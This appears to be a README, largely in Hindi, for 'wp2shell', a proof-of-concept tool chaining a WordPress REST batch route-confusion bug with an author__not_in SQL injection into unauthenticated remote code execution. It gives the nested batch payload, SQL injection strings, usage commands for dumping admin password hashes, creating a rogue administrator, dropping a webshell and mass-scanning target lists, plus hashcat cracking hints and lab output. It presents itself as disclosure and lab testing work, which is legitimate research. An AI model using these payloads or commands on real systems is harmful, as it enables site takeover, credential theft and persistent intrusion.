
CVE-2026-63030 + CVE-2026-60137 - “wp2shell”: unauthenticated RCE in WordPress core
REST API बैच रूट कन्फ्यूजन (CVE-2026-63030) को एक
WP_Queryauthor__not_inSQL इंजेक्शन (CVE-2026-60137) के साथ जोड़कर → एक डिफ़ॉल्ट वर्डप्रेस इंस्टॉल पर प्री-ऑथ रिमोट कोड एक्ज़ीक्यूशन प्राप्त होता है।Adam Kues (Assetnote / Searchlight Cyber) द्वारा खोजा गया, 2026-07-17 को प्रकट। सलाह: GHSA-ff9f-jf42-662q, GHSA-fpp7-x2x2-2mjf।
| चेन (अप्रमाणित RCE) | WordPress 6.9.0 - 6.9.4 और 7.0.0 - 7.0.1 |
| केवल SQLi (एक facilitating प्लगिन/थीम आवश्यक) | 6.8.0 - 6.8.5 |
| प्रभावित नहीं | ≤ 6.8 बैच कन्फ्यूजन के लिए; 6.9.5 / 7.0.2 / 7.1-beta2 (पैच किया गया) |
| पूर्व शर्तें | REST API सुलभ; कोई स्थायी ऑब्जेक्ट कैश नहीं (Redis/Memcached); ≥1 प्रकाशित पोस्ट |
| प्रमाणीकरण आवश्यक | कोई नहीं |
| प्रभाव | अप्रमाणित → नया व्यवस्थापक बनाना → कोड निष्पादन (SQLi प्रशासक हैश भी डंप करता है) |
https://github.com/user-attachments/assets/7f9cc52c-3f31-4339-9192-e31e506684f6
requests निर्भरता या टूटी हुई सुविधाओं के।shell बिना क्रेडेंशियल के single-post UNION कन्फ्यूजन के माध्यम से एक नकली WP_Post बनाता है, कस्टमाइज़र को एक नया व्यवस्थापक बनाने के लिए ब्रिज करता है (POST /wp/v2/users), लॉग इन करता है, और एक टोकन-गेटेड वेबशेल ड्रॉप करता है। SQLi प्रशासक-हैश डंप (read --preset users) को दूसरे, सत्यापित पथ के रूप में रखा गया है।block_cannot_read) जो प्राथमिक, गैर-विनाशकारी check के रूप में उपयोग किया जाता है।sqli) जो अन्य PoC में नहीं है।$wp$2y$ पासवर्ड हैश के लिए hashcat मोड (-m 35500)।wp2shell/
├── README.md ← आप यहाँ हैं
├── wp2shell.py ← एकीकृत PoC (एकल फ़ाइल, केवल stdlib, 0xsha द्वारा)
└── lab/ ← प्रतिलिपि प्रस्तुत करने योग्य Docker प्रयोगशालाएँ + विश्वसनीयता मैट्रिक्स
├── docker-compose.yml (डिफ़ॉल्ट 6.9.4 प्रयोगशाला)
├── docker-compose.matrix.yml (पैरामीटरयुक्त: कोई भी संस्करण × MySQL/MariaDB)
├── docker-compose.sqli.yml (6.8.3 "केवल SQLi" प्रयोगशाला)
├── matrix.sh (पूर्ण विश्वसनीयता मैट्रिक्स चलाता है)
└── sqli-only/facilitator.php (mu-प्लगिन: 6.8.x facilitating sink)
जिन छह सार्वजनिक PoCs से यह टूल लिया गया है वे यहाँ विक्रेता नहीं हैं; वे क्रेडिट में लिंक किए गए हैं।
नीचे दी गई सभी बातों की स्थानीय Docker प्रयोगशाला में पुष्टि की गई (देखें §4); जो दावे प्रयोगशाला में नहीं चलाए गए, उन्हें ऐसे चिह्नित किया गया है।
यह श्रृंखला दो स्वतंत्र बगों को जोड़ती है। लाइन नंबर वास्तविक WordPress 6.9.4 स्रोत ( wordpress:6.9.4-apache से निकाला गया ) से हैं।
author__not_in SQL इंजेक्शन (CVE-2026-60137)wp-includes/class-wp-query.php, WP_Query::get_posts():
2403 if ( ! empty( $query_vars['author__not_in'] ) ) {
2404 if ( is_array( $query_vars['author__not_in'] ) ) { // ← गार्ड केवल ARRAYS के लिए काम करता है
2405 $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
2406 sort( $query_vars['author__not_in'] );
2407 }
2408 $author__not_in = implode( ',', (array) $query_vars['author__not_in'] ); // ← स्ट्रिंग सीधे गुज़र जाती है
2409 $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // ← कच्चा इंटरपोलेशन
2410 } elseif ( ! empty( $query_vars['author__in'] ) ) {
...
2415 $author__in = implode( ',', array_map( 'absint', array_unique( (array) $query_vars['author__in'] ) ) ); // ← implode के अंदर absint
एक स्ट्रिंग author__not_in is_array() गार्ड (2404) को छोड़ देती है; implode(',', (array)"…") इसे अपरिवर्तित लौटाता है (2408) और इसे SQL में कच्चा जोड़ दिया जाता है (2409)। सहोदर author__in (2415) implode के अंदर array_map('absint', …) को पुनः लागू करता है और सुरक्षित है - वह लापता array_map ही बग है। मान ... post_author NOT IN (<value>) ... के रूप में आता है, इसलिए 0) <sql>-- - सूची को बंद करता है और SQL जोड़ता है।
वहाँ एक स्ट्रिंग प्राप्त करना कठिन हिस्सा है: REST पोस्ट एंडपॉइंट author_exclude → author__not_in (class-wp-rest-posts-controller.php:247) मैप करता है लेकिन इसे पूर्णांकों के 'type' => 'array' के रूप में घोषित करता है, इसलिए कोर एक स्ट्रिंग को बाध्य/अस्वीकार करता है:
GET /wp-json/wp/v2/posts?author_exclude=1) OR SLEEP(3)-- -
→ 400 "author_exclude[0] is not of type integer." (6.8.3 पर सत्यापित)
यही कारण है कि बग A अकेला केवल “facilitated” है। बग B 6.9+ पर सत्यापन के पीछे स्ट्रिंग को तस्करी करता है।
wp-includes/rest-api/class-wp-rest-server.php, serve_batch_request_v1():
1720 if ( false === $parsed_url ) {
1721 $requests[] = new WP_Error( 'parse_path_failed', … ); // एक खराब पथ $requests में WP_Error बन जाता है
1749 foreach ( $requests as $single_request ) {
1750 if ( is_wp_error( $single_request ) ) {
1752 $validation[] = $single_request; // ← $validation में धकेला गया …
1753 continue; // ← … लेकिन $matches को SKIP किया गया
1754 }
1757 $matches[] = $match; // ← $matches केवल मान्य अनुरोधों के लिए बढ़ता है
1825 foreach ( $requests as $i => $single_request ) { // $requests में स्थिति द्वारा अनुक्रमित
1841 $match = $matches[ $i ]; // ← $matches छोटा है → +1 शिफ्ट
1861 $result = $this->respond_to_request( $single_request, $route, $handler, $error );
एक WP_Error उप-अनुरोध को $validation[] (1752) में धकेला जाता है लेकिन $matches[] में नहीं (1753 पर continue 1757 को छोड़ देता है), इसलिए $matches कम हो जाता है और $matches[$i] (1841) अगले अनुरोध के हैंडलर को धारण करता है। अनुरोध i को अनुरोध i+1 के हैंडलर के साथ भेजा जाता है, अपने स्वयं के पैराम और अपने स्वयं के (पारित) सत्यापन निर्णय को लेकर।
प्रतिगमन मूल (6.8.3 → 6.9.4 अंतर पर सत्यापित): 6.8.3 में लूप हर अनुरोध के लिए $matches[] = $match जोड़ता है और खराब पथ पहले लूप में हटा दिए जाते हैं - सरणियाँ संरेखित रहती हैं, कोई डीसिंक नहीं। 6.9.0 के रीफ़ैक्टर ने शिफ्ट शुरू किया। यही कारण है कि 6.8.x “केवल SQLi” है और RCE श्रृंखला 6.9.0 से शुरू होती है।
पैच त्रुटि प्रविष्टियों के लिए भी $matches[] जोड़ता है, पुनः-प्रवेश को कठोर करता है, और author__not_in को एक आईडी-सूची सहायक के साथ पार्स करता है। (6.9.5 परीक्षण के समय Docker Hub पर नहीं था, इसलिए यह सलाह से है, प्रयोगशाला अंतर से नहीं।)
बैच स्कीमा केवल POST/PUT/PATCH/DELETE उप-अनुरोधों की अनुमति देता है, लेकिन पोस्ट get_items ( author_exclude sink) GET-केवल है, इसलिए कन्फ्यूजन दो बार नेस्ट किया गया है:
// बाहरी बैच → POST /wp-json/batch/v1
{"requests": [
{"method":"POST","path":"///"}, // [0] खराब पथ → WP_Error → +1 शिफ्ट
{"method":"POST","path":"/wp/v2/posts", // [1] वाहक: पोस्ट CREATE के रूप में सत्यापित →
"body": { /* आंतरिक बैच */ }}, // इसका `requests` बॉडी कभी स्कीमा-चेक नहीं किया जाता
{"method":"POST","path":"/batch/v1", // [2] हैंडलर → [1] को serve_batch_request_v1 के रूप में भेजा गया
"body":{"requests":[]}} // (कोई permission_callback नहीं → अप्रमाणित)
]}
// आंतरिक बैच (GET अब अनुमत):
// [0] POST /// WP_Error → आंतरिक +1 शिफ्ट
// [1] GET /wp/v2/users?author_exclude=<PAYLOAD> users में author_exclude नहीं है → PAYLOAD बिना छुए गुज़रता है
// [2] GET /wp/v2/posts [2] का हैंडलर = पोस्ट get_items → [1] चलाता है → SQLi
/// डीसिंक प्राइमर है (कोई भी wp_parse_url()-अस्वीकार करने वाला पथ काम करता है)। टूल उसी ट्रिक का --variant categories संस्करण भी भेजता है।
एक एकल, गैर-विनाशकारी, संस्करण-स्वतंत्र जांच CVE-2026-63030 की पुष्टि करती है, भले ही SQLi sink ऑब्जेक्ट-कैश किया गया हो या WAF-फ़िल्टर किया गया हो: POST उप-अनुरोधों का एक बैच जहाँ डीसिंक POST /wp/v2/posts को ब्लॉक-रेंडरर के अनुमति कॉलबैक द्वारा उत्तर दिया जाता है:
responses[1].code == "block_cannot_read" ← एक हैंडलर से अनुमति त्रुटि जो इसने कभी नहीं माँगी
wp2shell.py check अपने प्राथमिक संकेत के रूप में इसका उपयोग करता है (वापसी के रूप में पोस्ट-बनाम-टर्म आकार)। (पता लगाने की तकनीक: Hadrian / Icex0.)
मान NOT IN (<value>) के अंदर बैठता है, एक स्वच्छ बूलियन ओरेकल: 0) AND (<cond>)-- - पंक्तियाँ लौटाता है यदि <cond> सत्य है। निष्कर्षण ASCII(SUBSTRING(COALESCE((expr),''),n,1)) पर कैरेक्टर-दर-कैरेक्टर बाइनरी खोज है ( COALESCE एक NULL को खाली पढ़ने में शॉर्ट-सर्किट होने से रोकता है)।
प्रयोगशाला नोट - समय-आधारित को देखभाल की आवश्यकता है। डिफ़ॉल्ट इंस्टॉल पर
0) OR SLEEP(n)-- -कोई विलंब नहीं देता: प्रकाशित पंक्तियाँ पहले क्वेरी को संतुष्ट करती हैं औरORको शॉर्ट-सर्किट करती हैं। पुष्टि एक नियतात्मक बूलियन अंतर है; समय0) AND (SELECT 1 FROM (SELECT SLEEP(n))_z)-- -का उपयोग करता है। देखा गया 0.01s बनाम 3.04s।
व्यावहारिक RCE को कोई पासवर्ड और कोई क्रैकिंग की आवश्यकता नहीं है। बिना क्रेडेंशियल के shell पूरी श्रृंखला चलाता है, सभी प्रयोगशाला में सत्यापित:
WP_Post आदिम। एक दूसरा कन्फ्यूजन वेरिएंट एक स्वच्छ, UNION-सक्षम क्वेरी तक पहुँचता है: /wp/v2/posts/999999?orderby=none&per_page=500 को एकल-पोस्ट आइटम स्कीमा के विरुद्ध सत्यापित किया जाता है (इसलिए संग्रह-केवल पैराम बिना चेक के गुज़रते हैं), फिर पोस्ट संग्रह हैंडलर पर डीसिंक किया जाता है। orderby=none अनुगामी ORDER BY को हटाता है और per_page=500 WP_Query को पूर्ण-पंक्ति मोड में रखता है, इसलिए एक UNION SELECT एक निर्मित wp_posts पंक्ति के रूप में जीवित रहता है।oembed_cache + customize_changeset (इसका user_id UNION के माध्यम से पढ़े गए मौजूदा व्यवस्थापक के आईडी पर सेट) + nav_menu_item पंक्तियाँ बनाएँ। oEmbed को ट्रिगर करने से कस्टमाइज़र चेंजसेट चलता है।पुराना विकल्प (--user/--password)। read --preset users wp_users.user_pass (WordPress 6.9 का $wp$2y$… = HMAC-SHA384 पर bcrypt; hashcat -m 35500 के साथ क्रैक करें) को डंप करता है, फिर shell --user/--password पुनर्प्राप्त प्लेनटेक्स्ट के साथ लॉग इन करता है। वास्तविक, लेकिन bcrypt इसे धीमा बनाता है, इसलिए ऊपर दी गई व्यवस्थापक-निर्माण श्रृंखला विहित पथ है।
6.8.x में बग A है लेकिन बग B नहीं, और कोर author_exclude को एक पूर्णांक सरणी में बदल देता है, इसलिए SQLi केवल एक facilitating प्लगिन/थीम के माध्यम से पहुँच योग्य है जो WP_Query को एक कच्ची स्ट्रिंग देता है। sqli उपकमांड सीधे ऐसे sink में इंजेक्ट करता है (डिफ़ॉल्ट रूप से समय-आधारित; --true-contains के साथ तेज़ बूलियन)। 6.8.3 पर lab/sqli-only facilitator के विरुद्ध प्रदर्शित।
wp2shell.pyएकल फ़ाइल, Python 3.7+, केवल मानक पुस्तकालय। प्रत्येक कमांड पर उत्पादन-स्तरीय परिवहन: --insecure (स्व-हस्ताक्षरित TLS), -H 'K: V' (दोहराने योग्य), --user-agent, --proxy, --retries, --delay।
check फिंगरप्रिंट + कन्फ्यूजन मार्कर + SQLi की पुष्टि करें (गैर-विनाशकारी)
read ब्लाइंड SQLi के माध्यम से DB पढ़ें (--preset fingerprint|users | --query "SELECT …")
shell RCE: व्यवस्थापक लॉगिन → टोकन-गेटेड प्लगिन वेबशेल → कमांड चलाएँ (REPL के लिए -i)
sqli प्रत्यक्ष/facilitated sink (6.8.x, या किसी भी प्लगिन sink) के विरुद्ध author__not_in SQLi
scan एकल URL या .txt सूची पर थ्रेडेड भेद्यता जाँच (--prove, --json)
./wp2shell.py check https://target
./wp2shell.py read https://target --preset users # लॉगिन + $wp$2y$ हैश (+ hashcat संकेत)
./wp2shell.py read https://target --query "SELECT @@version"
./wp2shell.py shell https://target --cmd id # क्रैक-मुक्त: एक व्यवस्थापक बनाता है, फिर वेबशेल
./wp2shell.py shell https://target -i # इंटरैक्टिव शेल
./wp2shell.py shell https://target --user admin --password '<cracked>' --cmd id # या किसी मौजूदा व्यवस्थापक का पुन: उपयोग करें
./wp2shell.py scan https://target --prove # एकल URL, प्रमाण के रूप में @@version निकालें
./wp2shell.py scan targets.txt --threads 10 --json out.json # लक्ष्यों की .txt फ़ाइल
./wp2shell.py sqli https://target --endpoint '/?plugin_route=1' --param author_not_in --true-contains ROWS:YES
# उत्पादन नॉब: स्व-हस्ताक्षरित TLS, WAF हेडर, Burp, दर-सीमा
./wp2shell.py check https://target --insecure -H 'X-Forwarded-For: 127.0.0.1' --proxy http://127.0.0.1:8080 --delay 0.2
# डिफ़ॉल्ट भेद्य प्रयोगशाला (WordPress 6.9.4 + MariaDB), http://localhost:8080
docker compose -f lab/docker-compose.yml up -d
docker compose -f lab/docker-compose.yml logs -f wpcli # "LAB READY" तक प्रतीक्षा करें
./wp2shell.py check http://localhost:8080
docker compose -f lab/docker-compose.yml down -v
bash lab/matrix.sh # पूर्ण संस्करण × DB मैट्रिक्स
# "केवल SQLi" प्रयोगशाला (6.8.3 + facilitating mu-प्लगिन), http://localhost:8082
docker compose -f lab/docker-compose.sqli.yml up -d
./wp2shell.py sqli http://localhost:8082 --endpoint '/?wp2shell_faccheck=1' \
--param author_not_in --true-contains ROWS:YES --preset fingerprint
प्रयोगशाला व्यवस्थापक admin / Admin!2345 है - प्लेनटेक्स्ट केवल इसलिए ज्ञात है ताकि प्रयोगशाला पोस्ट-ऑथ shell का प्रदर्शन कर सके; एक वास्तविक हमलावर हैश पुनर्प्राप्त करता है और उसे क्रैक करता है।
DB का दायरा MySQL और MariaDB तक सीमित है - WordPress कोर उत्पादन में कोई अन्य इंजन नहीं बोलता (कोई PostgreSQL/MSSQL ड्राइवर नहीं; SQLite केवल एक दुर्लभ प्लगिन के माध्यम से)।
प्रत्येक कमांड प्रयोगशाला में चलाया गया: check (मार्कर block_cannot_read + बूलियन + समय), read (फिंगरप्रिंट / users / --query), shell (क्रैक-मुक्त व्यवस्थापक-निर्माण → लॉगिन → वेबशेल → uid=33(www-data), साथ ही --user/--password और इंटरैक्टिव REPL), sqli (बूलियन + समय), scan (एकल URL + .txt + --json + --prove), --variant categories पेलोड, एंडपॉइंट ऑटो-डिटेक्ट (/wp-json/ + ?rest_route=), और परिवहन फ़्लैग।
$ ./wp2shell.py check http://localhost:8080
[+] batch endpoint सुलभ और अप्रमाणित (HTTP 207) http://localhost:8080/wp-json/batch/v1 पर
[+] रूट कन्फ्यूजन ACTIVE - श्रेणी अनुरोध का उत्तर ब्लॉक-रेंडरर हैंडलर (block_cannot_read) द्वारा दिया गया; CVE-2026-63030 की पुष्टि।
[+] SQL इंजेक्शन CONFIRMED - author__not_in पर बूलियन-ब्लाइंड अंतर (CVE-2026-60137)।
[+] समय-आधारित चैनल की भी पुष्टि - आधार 0.02s बनाम इंजेक्टेड 3.04s।
$ ./wp2shell.py read http://localhost:8080 --preset users
[+] 1|admin|$wp$2y$10$IUUVXuWQ45USOc/rkRAcduAEvyYmHNabvfWFBMq5ApR9RGau6Fxx.
[*] $wp$2y$ हैश को क्रैक करें: hashcat -m 35500 …
$ ./wp2shell.py shell http://localhost:8080 --cmd id
[*] कोई क्रेडेंशियल प्रदान नहीं किए गए - प्री-ऑथ एक नया व्यवस्थापक बनाना (कोई हैश नहीं, कोई क्रैक नहीं) ...
[+] व्यवस्थापक बनाया गया: wp2_950eeb3deda8 / Wp2!... (उधार लिया गया व्यवस्थापक आईडी 1)
[+] प्रमाणित।
uid=33(www-data) gid=33(www-data) groups=33(www-data)
block_cannot_read पता लगाने का विचार),
VulnCheck।wp2shell.py में स्क्रैच से पुन: कार्यान्वित किया गया, कोई कोड शाब्दिक रूप से कॉपी नहीं किया गया):
WP_Post बनाएं, एक oembed_cache + customize_changeset (user_id=व्यवस्थापक) + nav_menu_item ग्राफ चलाएं ताकि कस्टमाइज़र मौजूदा व्यवस्थापक के रूप में चले, फिर एक नया व्यवस्थापक बनाने के लिए ।केवल अधिकृत सुरक्षा परीक्षण और शिक्षा के लिए - ऐसी प्रणालियाँ जिनके आप स्वामी हैं या जिनका आप लिखित रूप से परीक्षण कर सकते हैं। यहाँ सभी शोषण एक स्थानीय, डिस्पोजेबल Docker प्रयोगशाला के विरुद्ध चलाया गया; वेबशेल टोकन-गेटेड है और डिफ़ॉल्ट कमांड हानिरहित है। आप इसके उपयोग के लिए स्वयं जिम्मेदार हैं।
POST /wp/v2/users roles:["administrator"] के साथ अब उधार लिए गए व्यवस्थापक संदर्भ में सफल होता है, और wp_users में एक नया wp2_* व्यवस्थापक प्रकट होता है (सत्यापित: एक नई व्यवस्थापक पंक्ति)।update.php?action=upload-plugin के माध्यम से एक टोकन-गेटेड प्लगिन अपलोड करें, कमांड चलाएँ। सत्यापित: uid=33(www-data)।| WordPress | DB इंजन | पथ | check | निकाला गया डेटा |
|---|
| 6.9.4 | MariaDB 11 | बैच श्रृंखला | ✅ पूर्ण RCE | व्यवस्थापक $wp$2y$… हैश + @@version |
| 7.0.1 | MariaDB 11 | बैच श्रृंखला | ✅ पूर्ण RCE | व्यवस्थापक हैश |
| 6.9.4 | MySQL 8.4 | बैच श्रृंखला | ✅ पूर्ण RCE | व्यवस्थापक हैश (पेलोड पोर्टेबल) |
| 6.8.3 | MariaDB 11 | बैच श्रृंखला | ⛔ 207 लेकिन कोई कन्फ्यूजन नहीं | - (सलाह से मेल खाता है) |
| 6.8.3 | MariaDB 11 | facilitated sqli | ✅ CVE-2026-60137 | @@version, user, db - बूलियन और समय-आधारित |
POST /wp/v2/usersunion_inject एकल-पोस्ट कन्फ्यूजन, UnionSQLi, PreAuthAdminCreator), block_cannot_read मार्कर डिटेक्टर, NULL-सुरक्षित COALESCE निष्कर्षण, और जिटर-प्रतिरोधी समय।$wp$2y$ → hashcat -m 35500): hashpwn / hashcat।